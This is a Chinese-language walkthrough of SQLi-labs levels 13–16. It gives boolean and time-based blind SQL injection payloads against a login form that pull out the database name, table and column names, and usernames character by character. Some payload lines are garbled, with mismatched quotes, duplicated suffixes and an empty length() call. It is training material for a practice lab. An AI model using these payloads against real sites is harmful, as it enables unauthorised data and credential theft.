less-13
首先,输入用户名和密码,发现只有成功和失败两种显示,没有数据回显:
然后我们抓包拿到数据:
我们通过上述观察,已经知道这是典型的盲注,可以采用布尔盲注或者时间盲注。
构造注入语句:uname=a&passwd=a‘) or 1=1#&submit=Submit
猜解列:uname=a&passwd=a‘) order by 3 #&submit=Submit
uname=a&passwd=a‘) order by 2 #&submit=Submit
数据库名的长度判断:uname=a&passwd=a‘) or if(length(database())=8,1,sleep(5)) #&submit=Submit,根据返回的时间长度判断为8
判断数据库的第一个字母:uname=a&passwd=a‘) or left(database(),1)=‘s‘#&submit=Submit #&submit=Submit
判断第二个字母:uname=a&passwd=a‘) or left(database(),2)=‘se‘#&submit=Submit #&submit=Submit
然后其他省略
查表:uname=a&passwd=a‘) or left((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1)=‘e‘#&submit=Submit #&submit=Submit
我们可以用上面的盲注办法,同样我们可以用burp暴力破解的办法,前面的关卡已经有讲解,方法比较简单,座椅在此不再赘述。
less-14
14关和13关完全相同,只是数据包裹的格式变为“”,步骤完全相同,参考上面
uname=admin&passwd=a“ or if(length(database())=8,1,sleep(5))# #&submit=Submit 使用和less-13同样的方法进行判断
less-15
15关也和前两关相同,只是数据包裹的格式变为‘’,步骤完全相同,参考上面
这写下步骤代码(其实和上面一样):
1. uname=admin&passwd=a“&submit=Submit 构造:1‘ or 1=1# 在这里判断列数没有实际意义了
2. uname=adminadmin&passwd=admiand‘ or if(length(database())>1000,1,sleep(5))#&submit=Submit通过这个来判断其长度
3. uname=adminadmin&passwd=admiand‘ or if(length()>1000,1,sleep(5))#&submit=Submit
4. uname=adminadmin&passwd=admiand‘ or left((select table_name from information_schema.tables where table_schema=’security‘ limit 0,1),1)>’a‘#&submit=Submit 使用和less-13相同的方法进行判断,就可以判断出当前security库的第一个表的第一个字母是否大于a
5. uname=adminadmin&passwd=admiand‘ or left((select column_name from information_schema.columns where table_name=’users‘ limit 0,1),1)>’g‘#&submit=Submit 通过同样的方法可以判断users表中的字段数据是否大于g
6. uname=adminadmin&passwd=admiand‘ or left((select username from security.users limit 0,1),1)> ’a‘#&submit=Submit通过这个来判断security.users下的username下第一个字段的第一位,在这里不能直接使用select username,password来一起查询,需要一个个进行查询
less-16
16关也和前两关相同,只是数据包裹的格式变为(“”),步骤完全相同,参考上面